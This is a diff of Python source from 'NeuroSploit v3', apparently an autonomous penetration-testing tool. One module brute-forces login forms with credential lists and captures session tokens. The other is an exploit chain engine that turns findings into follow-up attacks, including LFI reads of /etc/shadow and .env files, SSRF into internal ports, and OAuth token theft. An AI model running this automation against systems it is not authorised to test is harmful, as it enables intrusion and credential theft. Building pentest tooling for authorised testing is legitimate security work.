ctx.state = "unauthenticated"
|
||||
return False
|
||||
|
||||
# Try each form with each credential
|
||||
for form in self._login_forms:
|
||||
for cred in creds:
|
||||
self._login_attempts += 1
|
||||
success = await self._attempt_login(form, cred, ctx)
|
||||
if success:
|
||||
ctx.state = "authenticated"
|
||||
ctx.credential = cred
|
||||
ctx.login_time = time.time()
|
||||
ctx.login_url = form.url
|
||||
self._successful_logins += 1
|
||||
logger.info(f"Login success: {context_name} as {cred.username} ({cred.role})")
|
||||
return True
|
||||
|
||||
ctx.state = "unauthenticated"
|
||||
return False
|
||||
|
||||
async def _discover_login_forms(self):
|
||||
"""Discover login forms by crawling common login paths."""
|
||||
if not self.request_engine:
|
||||
return
|
||||
|
||||
# Use recon data if available
|
||||
target = ""
|
||||
if self.recon and hasattr(self.recon, "target"):
|
||||
target = self.recon.target
|
||||
|
||||
if not target:
|
||||
return
|
||||
|
||||
login_paths = [
|
||||
"/login", "/signin", "/sign-in", "/auth/login",
|
||||
"/user/login", "/admin/login", "/api/auth/login",
|
||||
"/account/login", "/wp-login.php", "/admin",
|
||||
]
|
||||
|
||||
parsed = urlparse(target)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
|
||||
for path in login_paths:
|
||||
try:
|
||||
url = f"{base}{path}"
|
||||
result = await self.request_engine.request(url, method="GET")
|
||||
if result and result.status == 200 and result.body:
|
||||
forms = self.detect_login_forms(result.body, url)
|
||||
if forms:
|
||||
logger.debug(f"Found {len(forms)} login form(s) at {url}")
|
||||
return # Found forms, stop searching
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
async def _attempt_login(self, form: LoginForm, cred: Credentials, ctx: SessionContext) -> bool:
|
||||
"""Attempt login with a specific form and credential."""
|
||||
try:
|
||||
# Build form data
|
||||
data = {}
|
||||
|
||||
# Add hidden fields first
|
||||
data.update(form.extra_fields)
|
||||
|
||||
# Refresh CSRF token if needed
|
||||
if form.csrf_field:
|
||||
fresh_csrf = await self._refresh_csrf(form)
|
||||
if fresh_csrf:
|
||||
data[form.csrf_field] = fresh_csrf
|
||||
elif form.csrf_value:
|
||||
data[form.csrf_field] = form.csrf_value
|
||||
|
||||
# Add credentials
|
||||
data[form.username_field] = cred.username
|
||||
data[form.password_field] = cred.password
|
||||
|
||||
# Submit form
|
||||
result = await self.request_engine.request(
|
||||
form.url,
|
||||
method=form.method,
|
||||
data=data,
|
||||
allow_redirects=True,
|
||||
)
|
||||
|
||||
if not result:
|
||||
return False
|
||||
|
||||
# Check for login success
|
||||
success = self._detect_login_success(
|
||||
result.body, result.status, result.headers
|
||||
)
|
||||
|
||||
if success:
|
||||
# Extract tokens and cookies
|
||||
self._extract_session_data(result, ctx)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(f"Login attempt failed: {e}")
|
||||
return False
|
||||
|
||||
async def _refresh_csrf(self, form: LoginForm) -> Optional[str]:
|
||||
"""Fetch fresh CSRF token from the login page."""
|
||||
try:
|
||||
# GET the form page to get a fresh token
|
||||
page_url = form.url.replace(urlparse(form.url).path, "") + urlparse(form.url).path
|
||||
result = await self.request_engine.request(page_url, method="GET")
|
||||
if result and result.body:
|
||||
_, csrf_value = self._find_csrf_token(result.body)
|
||||
return csrf_value
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
def _detect_login_success(self, body: str, status: int, headers: Dict) -> bool:
|
||||
"""Detect if login was successful."""
|
||||
body_lower = (body or "").lower()
|
||||
|
||||
# Check for redirect to authenticated area
|
||||
if status in (301, 302, 303, 307):
|
||||
location = headers.get("Location", headers.get("location", ""))
|
||||
if any(kw in location.lower() for kw in ["dashboard", "home", "profile", "admin"]):
|
||||
return True
|
||||
|
||||
# Check for Set-Cookie (session creation)
|
||||
has_session_cookie = any(
|
||||
"set-cookie" in k.lower() for k in headers
|
||||
)
|
||||
|
||||
# Check for success indicators in body
|
||||
success_count = sum(1 for kw in self.SUCCESS_INDICATORS if kw in body_lower)
|
||||
failure_count = sum(1 for kw in self.FAILURE_INDICATORS if kw in body_lower)
|
||||
|
||||
# Success if: session cookie + success indicators and no failure indicators
|
||||
if has_session_cookie and success_count > 0 and failure_count == 0:
|
||||
return True
|
||||
|
||||
# Success if: 200 OK + strong success indicators + no failure
|
||||
if status == 200 and success_count >= 2 and failure_count == 0:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def _extract_session_data(self, result, ctx: SessionContext):
|
||||
"""Extract tokens and cookies from a successful login response."""
|
||||
# Extract cookies from Set-Cookie headers
|
||||
for key, value in result.headers.items():
|
||||
if key.lower() == "set-cookie":
|
||||
cookie_parts = value.split(";")[0].split("=", 1)
|
||||
if len(cookie_parts) == 2:
|
||||
ctx.cookies[cookie_parts[0].strip()] = cookie_parts[1].strip()
|
||||
|
||||
# Extract tokens from response body (JSON)
|
||||
body = result.body or ""
|
||||
token_patterns = [
|
||||
(r'"(?:access_token|token|jwt|bearer|id_token)"\s*:\s*"([^"]+)"', "bearer"),
|
||||
(r'"(?:api_key|apikey|api-key)"\s*:\s*"([^"]+)"', "api_key"),
|
||||
(r'"(?:refresh_token)"\s*:\s*"([^"]+)"', "refresh"),
|
||||
]
|
||||
|
||||
for pattern, token_type in token_patterns:
|
||||
match = re.search(pattern, body, re.I)
|
||||
if match:
|
||||
ctx.tokens[token_type] = match.group(1)
|
||||
|
||||
# Build auth headers
|
||||
if "bearer" in ctx.tokens:
|
||||
ctx.headers["Authorization"] = f"Bearer {ctx.tokens['bearer']}"
|
||||
elif "api_key" in ctx.tokens:
|
||||
ctx.headers["X-API-Key"] = ctx.tokens["api_key"]
|
||||
|
||||
# --- Session Management ----------------------------------------------
|
||||
|
||||
def detect_session_expiry(self, body: str, status: int) -> bool:
|
||||
"""Check if a response indicates session expiry."""
|
||||
if status in (401, 403):
|
||||
return True
|
||||
|
||||
body_lower = (body or "").lower()
|
||||
return any(kw in body_lower for kw in self.EXPIRY_INDICATORS)
|
||||
|
||||
async def refresh(self, context_name: Optional[str] = None) -> bool:
|
||||
"""Refresh an expired session by re-authenticating.
|
||||
|
||||
If context_name is None, refresh all expired sessions.
|
||||
"""
|
||||
contexts_to_refresh = []
|
||||
if context_name:
|
||||
ctx = self.contexts.get(context_name)
|
||||
if ctx and ctx.state == "expired":
|
||||
contexts_to_refresh.append(context_name)
|
||||
else:
|
||||
for name, ctx in self.contexts.items():
|
||||
if ctx.state == "expired":
|
||||
contexts_to_refresh.append(name)
|
||||
|
||||
results = []
|
||||
for name in contexts_to_refresh:
|
||||
ctx = self.contexts[name]
|
||||
ctx.state = "unauthenticated"
|
||||
ctx.cookies.clear()
|
||||
ctx.tokens.clear()
|
||||
ctx.headers.clear()
|
||||
success = await self.authenticate(name)
|
||||
results.append(success)
|
||||
|
||||
return all(results) if results else False
|
||||
|
||||
def check_and_mark_expiry(self, context_name: str, body: str, status: int) -> bool:
|
||||
"""Check response for expiry and mark context if expired.
|
||||
|
||||
Returns True if session was detected as expired.
|
||||
"""
|
||||
ctx = self.contexts.get(context_name)
|
||||
if not ctx or ctx.state != "authenticated":
|
||||
return False
|
||||
|
||||
if self.detect_session_expiry(body, status):
|
||||
ctx.state = "expired"
|
||||
logger.info(f"Session expired for {context_name}")
|
||||
return True
|
||||
|
||||
# Check time-based expiry
|
||||
if ctx.login_time and (time.time() - ctx.login_time) > ctx.session_duration:
|
||||
ctx.state = "expired"
|
||||
logger.info(f"Session timeout for {context_name}")
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
# --- Request Integration ---------------------------------------------
|
||||
|
||||
def get_context(self, context_name: str) -> Optional[SessionContext]:
|
||||
"""Get a session context by name."""
|
||||
return self.contexts.get(context_name)
|
||||
|
||||
def get_request_kwargs(self, context_name: str) -> Dict:
|
||||
"""Get headers and cookies for requests as a context.
|
||||
|
||||
Returns dict with 'headers' and 'cookies' ready for request_engine.
|
||||
"""
|
||||
ctx = self.contexts.get(context_name)
|
||||
if not ctx or ctx.state != "authenticated":
|
||||
return {"headers": {}, "cookies": {}}
|
||||
|
||||
return {
|
||||
"headers": dict(ctx.headers),
|
||||
"cookies": dict(ctx.cookies),
|
||||
}
|
||||
|
||||
def is_authenticated(self, context_name: str) -> bool:
|
||||
"""Check if a context is currently authenticated."""
|
||||
ctx = self.contexts.get(context_name)
|
||||
return ctx is not None and ctx.state == "authenticated"
|
||||
|
||||
def get_auth_summary(self) -> Dict:
|
||||
"""Get summary of authentication state for reporting."""
|
||||
return {
|
||||
"contexts": {
|
||||
name: {
|
||||
"state": ctx.state,
|
||||
"role": ctx.role,
|
||||
"credential": ctx.credential.username if ctx.credential else None,
|
||||
"has_tokens": bool(ctx.tokens),
|
||||
"has_cookies": bool(ctx.cookies),
|
||||
}
|
||||
for name, ctx in self.contexts.items()
|
||||
},
|
||||
"login_forms_found": len(self._login_forms),
|
||||
"login_attempts": self._login_attempts,
|
||||
"successful_logins": self._successful_logins,
|
||||
"credentials_available": {
|
||||
role: len(creds)
|
||||
for role, creds in self._credentials.items()
|
||||
},
|
||||
}
|
||||
+4387
-377
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,629 @@
|
||||
"""
|
||||
NeuroSploit v3 - Exploit Chain Engine
|
||||
|
||||
Finding correlation, derived target generation, and attack graph
|
||||
construction for autonomous pentesting. When a vulnerability is
|
||||
confirmed, this engine generates follow-up targets based on 10
|
||||
chain rules.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any, Callable, Dict, List, Optional
|
||||
from urllib.parse import urlparse, urljoin
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass
|
||||
class ChainableTarget:
|
||||
"""A derived attack target generated from a confirmed finding."""
|
||||
url: str
|
||||
param: str
|
||||
vuln_type: str
|
||||
context: Dict[str, Any] = field(default_factory=dict)
|
||||
chain_depth: int = 1
|
||||
parent_finding_id: str = ""
|
||||
priority: int = 2 # 1=critical, 2=high, 3=medium
|
||||
method: str = "GET"
|
||||
injection_point: str = "parameter"
|
||||
payload_hint: Optional[str] = None
|
||||
description: str = ""
|
||||
|
||||
|
||||
@dataclass
|
||||
class ChainRule:
|
||||
"""Defines how a finding triggers derived targets."""
|
||||
trigger_type: str # Vuln type that triggers this rule
|
||||
derived_types: List[str] # Types to test on derived targets
|
||||
extraction_fn: str # Method name for target extraction
|
||||
priority: int = 2
|
||||
max_depth: int = 3
|
||||
description: str = ""
|
||||
|
||||
|
||||
# 10 chain rules
|
||||
CHAIN_RULES: List[ChainRule] = [
|
||||
ChainRule(
|
||||
trigger_type="ssrf",
|
||||
derived_types=["lfi", "xxe", "command_injection", "ssrf"],
|
||||
extraction_fn="_extract_internal_urls",
|
||||
priority=1,
|
||||
description="SSRF \u2192 internal service attacks",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="sqli_error",
|
||||
derived_types=["sqli_union", "sqli_blind", "sqli_time"],
|
||||
extraction_fn="_extract_db_context",
|
||||
priority=1,
|
||||
description="SQLi error \u2192 advanced SQLi techniques",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="information_disclosure",
|
||||
derived_types=["auth_bypass", "default_credentials"],
|
||||
extraction_fn="_extract_credentials",
|
||||
priority=1,
|
||||
description="Info disclosure \u2192 credential-based attacks",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="idor",
|
||||
derived_types=["idor", "bola", "bfla"],
|
||||
extraction_fn="_extract_idor_patterns",
|
||||
priority=2,
|
||||
description="IDOR on one resource \u2192 same pattern on sibling resources",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="lfi",
|
||||
derived_types=["sqli", "auth_bypass", "information_disclosure"],
|
||||
extraction_fn="_extract_config_paths",
|
||||
priority=1,
|
||||
description="LFI \u2192 config file extraction \u2192 credential discovery",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="xss_reflected",
|
||||
derived_types=["xss_stored", "cors_misconfiguration"],
|
||||
extraction_fn="_extract_xss_chain",
|
||||
priority=2,
|
||||
description="Reflected XSS \u2192 stored XSS / CORS chain for session theft",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="open_redirect",
|
||||
derived_types=["ssrf", "oauth_misconfiguration"],
|
||||
extraction_fn="_extract_redirect_chain",
|
||||
priority=1,
|
||||
description="Open redirect \u2192 OAuth token theft chain",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="default_credentials",
|
||||
derived_types=["auth_bypass", "privilege_escalation", "idor"],
|
||||
extraction_fn="_extract_auth_chain",
|
||||
priority=1,
|
||||
description="Default creds \u2192 authenticated attacks",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="exposed_admin_panel",
|
||||
derived_types=["default_credentials", "auth_bypass", "brute_force"],
|
||||
extraction_fn="_extract_admin_chain",
|
||||
priority=1,
|
||||
description="Exposed admin \u2192 credential attack on admin panel",
|
||||
),
|
||||
ChainRule(
|
||||
trigger_type="subdomain_takeover",
|
||||
derived_types=["xss_reflected", "xss_stored", "ssrf"],
|
||||
extraction_fn="_extract_subdomain_targets",
|
||||
priority=3,
|
||||
description="Subdomain discovery \u2192 new attack surface",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
class ChainEngine:
|
||||
"""Exploit chain engine for finding correlation and derived target generation.
|
||||
|
||||
When a vulnerability is confirmed, this engine:
|
||||
1. Checks chain rules for matching trigger types
|
||||
2. Extracts derived targets using rule-specific extraction functions
|
||||
3. Generates ChainableTarget objects for the agent to test
|
||||
4. Tracks chain depth to prevent infinite recursion
|
||||
5. Builds an attack graph of finding \u2192 finding relationships
|
||||
|
||||
Usage:
|
||||
engine = ChainEngine()
|
||||
derived = await engine.on_finding(finding, recon, memory)
|
||||
for target in derived:
|
||||
# Test target through normal vuln testing pipeline
|
||||
pass
|
||||
"""
|
||||
|
||||
MAX_CHAIN_DEPTH = 3
|
||||
MAX_DERIVED_PER_FINDING = 20
|
||||
|
||||
def __init__(self, llm=None):
|
||||
self.llm = llm
|
||||
self._chain_graph: Dict[str, List[str]] = {} # finding_id \u2192 [derived_finding_ids]
|
||||
self._total_chains = 0
|
||||
self._chain_findings: List[str] = [] # finding IDs that came from chaining
|
||||
|
||||
async def on_finding(
|
||||
self,
|
||||
finding: Any,
|
||||
recon: Any = None,
|
||||
memory: Any = None,
|
||||
) -> List[ChainableTarget]:
|
||||
"""Process a confirmed finding and generate derived targets.
|
||||
|
||||
Args:
|
||||
finding: The confirmed Finding object
|
||||
recon: ReconData with target info
|
||||
memory: AgentMemory for dedup
|
||||
|
||||
Returns:
|
||||
List of ChainableTarget objects to test
|
||||
"""
|
||||
vuln_type = getattr(finding, "vulnerability_type", "")
|
||||
finding_id = getattr(finding, "id", str(id(finding)))
|
||||
chain_depth = getattr(finding, "_chain_depth", 0)
|
||||
|
||||
# Prevent infinite chaining
|
||||
if chain_depth >= self.MAX_CHAIN_DEPTH:
|
||||
return []
|
||||
|
||||
derived_targets = []
|
||||
|
||||
for rule in CHAIN_RULES:
|
||||
# Check trigger match (exact or prefix)
|
||||
if not self._matches_trigger(vuln_type, rule.trigger_type):
|
||||
continue
|
||||
|
||||
# Extract targets using rule's extraction function
|
||||
extractor = getattr(self, rule.extraction_fn, None)
|
||||
if not extractor:
|
||||
continue
|
||||
|
||||
try:
|
||||
targets = extractor(finding, recon)
|
||||
for target in targets[:self.MAX_DERIVED_PER_FINDING]:
|
||||
target.chain_depth = chain_depth + 1
|
||||
target.parent_finding_id = finding_id
|
||||
target.priority = rule.priority
|
||||
derived_targets.append(target)
|
||||
except Exception as e:
|
||||
logger.debug(f"Chain extraction failed for {rule.extraction_fn}: {e}")
|
||||
|
||||
# Track in graph
|
||||
if derived_targets:
|
||||
self._chain_graph[finding_id] = [
|
||||
f"{t.vuln_type}:{t.url}" for t in derived_targets
|
||||
]
|
||||
self._total_chains += len(derived_targets)
|
||||
logger.debug(f"Chain engine: {vuln_type} \u2192 {len(derived_targets)} derived targets")
|
||||
|
||||
return derived_targets[:self.MAX_DERIVED_PER_FINDING]
|
||||
|
||||
def _matches_trigger(self, vuln_type: str, trigger: str) -> bool:
|
||||
"""Check if vuln_type matches a trigger rule."""
|
||||
if vuln_type == trigger:
|
||||
return True
|
||||
# Allow prefix matching: sqli_error matches sqli_error
|
||||
if vuln_type.startswith(trigger + "_") or trigger.startswith(vuln_type + "_"):
|
||||
return True
|
||||
# Special: any sqli variant triggers sqli_error rule
|
||||
if trigger == "sqli_error" and vuln_type.startswith("sqli"):
|
||||
return True
|
||||
return False
|
||||
|
||||
# \u2500\u2500\u2500 Extraction Functions \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
|
||||
|
||||
def _extract_internal_urls(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From SSRF: extract internal URLs for further attack."""
|
||||
targets = []
|
||||
evidence = getattr(finding, "evidence", "")
|
||||
url = getattr(finding, "url", "")
|
||||
|
||||
# Find internal IPs in response
|
||||
internal_patterns = [
|
||||
r'(?:https?://)?(?:127\.\d+\.\d+\.\d+)(?::\d+)?(?:/[^\s"<>]*)?',
|
||||
r'(?:https?://)?(?:10\.\d+\.\d+\.\d+)(?::\d+)?(?:/[^\s"<>]*)?',
|
||||
r'(?:https?://)?(?:192\.168\.\d+\.\d+)(?::\d+)?(?:/[^\s"<>]*)?',
|
||||
r'(?:https?://)?(?:172\.(?:1[6-9]|2\d|3[01])\.\d+\.\d+)(?::\d+)?(?:/[^\s"<>]*)?',
|
||||
r'(?:https?://)?localhost(?::\d+)?(?:/[^\s"<>]*)?',
|
||||
]
|
||||
|
||||
found_urls = set()
|
||||
for pattern in internal_patterns:
|
||||
for match in re.finditer(pattern, evidence):
|
||||
internal_url = match.group(0)
|
||||
if not internal_url.startswith("http"):
|
||||
internal_url = f"http://{internal_url}"
|
||||
found_urls.add(internal_url)
|
||||
|
||||
# Common internal service ports
|
||||
if not found_urls:
|
||||
# Generate targets based on known internal ports
|
||||
parsed = urlparse(url)
|
||||
base_ips = ["127.0.0.1", "localhost"]
|
||||
ports = [80, 8080, 8443, 3000, 5000, 8000, 9200, 6379, 27017]
|
||||
for ip in base_ips:
|
||||
for port in ports[:4]: # Limit
|
||||
found_urls.add(f"http://{ip}:{port}/")
|
||||
|
||||
for internal_url in list(found_urls)[:10]:
|
||||
for vuln_type in ["lfi", "command_injection", "ssrf"]:
|
||||
targets.append(ChainableTarget(
|
||||
url=internal_url,
|
||||
param="url",
|
||||
vuln_type=vuln_type,
|
||||
context={"source": "ssrf_chain", "internal": True},
|
||||
description=f"SSRF chain: {vuln_type} on internal {internal_url}",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_db_context(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From SQLi error: extract DB type and generate advanced payloads."""
|
||||
targets = []
|
||||
evidence = getattr(finding, "evidence", "")
|
||||
url = getattr(finding, "url", "")
|
||||
param = getattr(finding, "parameter", "")
|
||||
|
||||
# Detect database type from error
|
||||
db_type = "unknown"
|
||||
db_indicators = {
|
||||
"mysql": ["mysql", "mariadb", "you have an error in your sql syntax"],
|
||||
"postgresql": ["postgresql", "pg_", "unterminated quoted string"],
|
||||
"mssql": ["microsoft sql", "mssql", "unclosed quotation mark", "sqlserver"],
|
||||
"oracle": ["ora-", "oracle", "quoted string not properly terminated"],
|
||||
"sqlite": ["sqlite", "sqlite3"],
|
||||
}
|
||||
|
||||
evidence_lower = evidence.lower()
|
||||
for db, indicators in db_indicators.items():
|
||||
if any(i in evidence_lower for i in indicators):
|
||||
db_type = db
|
||||
break
|
||||
|
||||
# Generate type-specific advanced SQLi targets
|
||||
advanced_types = ["sqli_union", "sqli_blind", "sqli_time"]
|
||||
for vuln_type in advanced_types:
|
||||
targets.append(ChainableTarget(
|
||||
url=url,
|
||||
param=param,
|
||||
vuln_type=vuln_type,
|
||||
context={"db_type": db_type, "source": "sqli_chain"},
|
||||
description=f"SQLi chain: {vuln_type} ({db_type}) on {param}",
|
||||
payload_hint=f"db_type={db_type}",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_credentials(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From info disclosure: extract credentials for auth attacks."""
|
||||
targets = []
|
||||
evidence = getattr(finding, "evidence", "")
|
||||
url = getattr(finding, "url", "")
|
||||
|
||||
# Extract potential credentials
|
||||
cred_patterns = [
|
||||
r'(?:password|passwd|pwd)\s*[=:]\s*["\']?([^\s"\'<>&]+)',
|
||||
r'(?:api_key|apikey|api-key)\s*[=:]\s*["\']?([^\s"\'<>&]+)',
|
||||
r'(?:token|secret|auth)\s*[=:]\s*["\']?([^\s"\'<>&]+)',
|
||||
r'(?:username|user|login)\s*[=:]\s*["\']?([^\s"\'<>&]+)',
|
||||
]
|
||||
|
||||
found_creds = {}
|
||||
for pattern in cred_patterns:
|
||||
matches = re.findall(pattern, evidence, re.I)
|
||||
for match in matches:
|
||||
if len(match) > 3: # Skip trivial matches
|
||||
found_creds[pattern.split("|")[0].strip("(?")] = match
|
||||
|
||||
# Generate auth attack targets
|
||||
if recon:
|
||||
parsed = urlparse(url)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
admin_paths = ["/admin", "/api/admin", "/dashboard", "/management"]
|
||||
|
||||
for path in admin_paths:
|
||||
targets.append(ChainableTarget(
|
||||
url=f"{base}{path}",
|
||||
param="",
|
||||
vuln_type="auth_bypass",
|
||||
context={"discovered_creds": found_creds, "source": "info_disclosure_chain"},
|
||||
description=f"Credential chain: auth bypass at {path}",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_idor_patterns(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From IDOR: apply same pattern to sibling resources."""
|
||||
targets = []
|
||||
url = getattr(finding, "url", "")
|
||||
param = getattr(finding, "parameter", "")
|
||||
|
||||
parsed = urlparse(url)
|
||||
path = parsed.path
|
||||
|
||||
# Pattern: /users/{id} \u2192 /orders/{id}, /profiles/{id}
|
||||
sibling_resources = [
|
||||
"users", "orders", "profiles", "accounts", "invoices",
|
||||
"documents", "messages", "transactions", "settings",
|
||||
"notifications", "payments", "subscriptions",
|
||||
]
|
||||
|
||||
# Extract the resource pattern
|
||||
path_parts = [p for p in path.split("/") if p]
|
||||
if len(path_parts) >= 2:
|
||||
# Replace the resource name with siblings
|
||||
original_resource = path_parts[-2] if path_parts[-1].isdigit() else path_parts[-1]
|
||||
resource_id = path_parts[-1] if path_parts[-1].isdigit() else "1"
|
||||
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
for sibling in sibling_resources:
|
||||
if sibling != original_resource:
|
||||
new_path = path.replace(original_resource, sibling)
|
||||
targets.append(ChainableTarget(
|
||||
url=f"{base}{new_path}",
|
||||
param=param or "id",
|
||||
vuln_type="idor",
|
||||
context={"source": "idor_pattern_chain", "original_resource": original_resource},
|
||||
description=f"IDOR chain: {sibling} (from {original_resource})",
|
||||
method=getattr(finding, "method", "GET"),
|
||||
))
|
||||
|
||||
return targets[:10]
|
||||
|
||||
def _extract_config_paths(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From LFI: generate config file read targets."""
|
||||
targets = []
|
||||
url = getattr(finding, "url", "")
|
||||
param = getattr(finding, "parameter", "")
|
||||
|
||||
# Config files that may contain credentials
|
||||
config_files = [
|
||||
"/etc/passwd",
|
||||
"/etc/shadow",
|
||||
"../../../../.env",
|
||||
"../../../../config/database.yml",
|
||||
"../../../../wp-config.php",
|
||||
"../../../../config.php",
|
||||
"../../../../.git/config",
|
||||
"../../../../config/secrets.yml",
|
||||
"/proc/self/environ",
|
||||
"../../../../application.properties",
|
||||
"../../../../appsettings.json",
|
||||
"../../../../web.config",
|
||||
]
|
||||
|
||||
for config_path in config_files:
|
||||
targets.append(ChainableTarget(
|
||||
url=url,
|
||||
param=param,
|
||||
vuln_type="lfi",
|
||||
context={"config_file": config_path, "source": "lfi_chain"},
|
||||
description=f"LFI chain: read {config_path}",
|
||||
payload_hint=config_path,
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_xss_chain(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From reflected XSS: look for stored XSS and CORS chain opportunities."""
|
||||
targets = []
|
||||
url = getattr(finding, "url", "")
|
||||
param = getattr(finding, "parameter", "")
|
||||
|
||||
parsed = urlparse(url)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
|
||||
# Look for form submission endpoints (potential stored XSS)
|
||||
if recon and hasattr(recon, "forms"):
|
||||
for form in getattr(recon, "forms", [])[:5]:
|
||||
form_url = form.get("action", "") if isinstance(form, dict) else getattr(form, "action", "")
|
||||
if form_url:
|
||||
targets.append(ChainableTarget(
|
||||
url=form_url,
|
||||
param=param,
|
||||
vuln_type="xss_stored",
|
||||
context={"source": "xss_chain"},
|
||||
description=f"XSS chain: stored XSS via form at {form_url}",
|
||||
method="POST",
|
||||
))
|
||||
|
||||
# Check for CORS misconfiguration chain
|
||||
targets.append(ChainableTarget(
|
||||
url=base + "/api/",
|
||||
param="",
|
||||
vuln_type="cors_misconfiguration",
|
||||
context={"source": "xss_cors_chain"},
|
||||
description="XSS+CORS chain: check CORS for session theft scenario",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_redirect_chain(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From open redirect: chain to OAuth token theft."""
|
||||
targets = []
|
||||
url = getattr(finding, "url", "")
|
||||
param = getattr(finding, "parameter", "")
|
||||
|
||||
parsed = urlparse(url)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
|
||||
# OAuth endpoints to test
|
||||
oauth_paths = [
|
||||
"/oauth/authorize", "/auth/authorize", "/oauth2/authorize",
|
||||
"/connect/authorize", "/.well-known/openid-configuration",
|
||||
"/api/oauth/callback",
|
||||
]
|
||||
|
||||
for path in oauth_paths:
|
||||
targets.append(ChainableTarget(
|
||||
url=f"{base}{path}",
|
||||
param="redirect_uri",
|
||||
vuln_type="open_redirect",
|
||||
context={"source": "redirect_oauth_chain"},
|
||||
description=f"Redirect chain: OAuth token theft via {path}",
|
||||
))
|
||||
|
||||
# SSRF via redirect
|
||||
targets.append(ChainableTarget(
|
||||
url=url,
|
||||
param=param,
|
||||
vuln_type="ssrf",
|
||||
context={"source": "redirect_ssrf_chain"},
|
||||
description="Redirect \u2192 SSRF chain",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_auth_chain(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From default credentials: test all endpoints as authenticated user."""
|
||||
targets = []
|
||||
url = getattr(finding, "url", "")
|
||||
|
||||
parsed = urlparse(url)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
|
||||
# Privileged paths to test with obtained session
|
||||
privileged_paths = [
|
||||
"/admin", "/admin/users", "/admin/settings",
|
||||
"/api/admin", "/api/users", "/api/v1/admin",
|
||||
"/management", "/internal", "/debug",
|
||||
]
|
||||
|
||||
for path in privileged_paths:
|
||||
targets.append(ChainableTarget(
|
||||
url=f"{base}{path}",
|
||||
param="",
|
||||
vuln_type="privilege_escalation",
|
||||
context={"source": "auth_chain", "authenticated": True},
|
||||
description=f"Auth chain: privilege escalation at {path}",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_admin_chain(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From exposed admin panel: try default credentials and auth bypass."""
|
||||
targets = []
|
||||
url = getattr(finding, "url", "")
|
||||
|
||||
targets.append(ChainableTarget(
|
||||
url=url,
|
||||
param="",
|
||||
vuln_type="default_credentials",
|
||||
context={"source": "admin_chain"},
|
||||
description=f"Admin chain: default credentials at {url}",
|
||||
))
|
||||
|
||||
targets.append(ChainableTarget(
|
||||
url=url,
|
||||
param="",
|
||||
vuln_type="auth_bypass",
|
||||
context={"source": "admin_chain"},
|
||||
description=f"Admin chain: auth bypass at {url}",
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
def _extract_subdomain_targets(self, finding, recon) -> List[ChainableTarget]:
|
||||
"""From subdomain discovery: add as new attack targets."""
|
||||
targets = []
|
||||
evidence = getattr(finding, "evidence", "")
|
||||
|
||||
# Extract subdomains from evidence
|
||||
subdomain_pattern = r'(?:https?://)?([a-zA-Z0-9][-a-zA-Z0-9]*\.[-a-zA-Z0-9.]+)'
|
||||
found_domains = set(re.findall(subdomain_pattern, evidence))
|
||||
|
||||
for domain in list(found_domains)[:5]:
|
||||
if not domain.startswith("http"):
|
||||
domain_url = f"https://{domain}"
|
||||
else:
|
||||
domain_url = domain
|
||||
|
||||
targets.append(ChainableTarget(
|
||||
url=domain_url,
|
||||
param="",
|
||||
vuln_type="xss_reflected",
|
||||
context={"source": "subdomain_chain"},
|
||||
description=f"Subdomain chain: test {domain}",
|
||||
priority=3,
|
||||
))
|
||||
|
||||
return targets
|
||||
|
||||
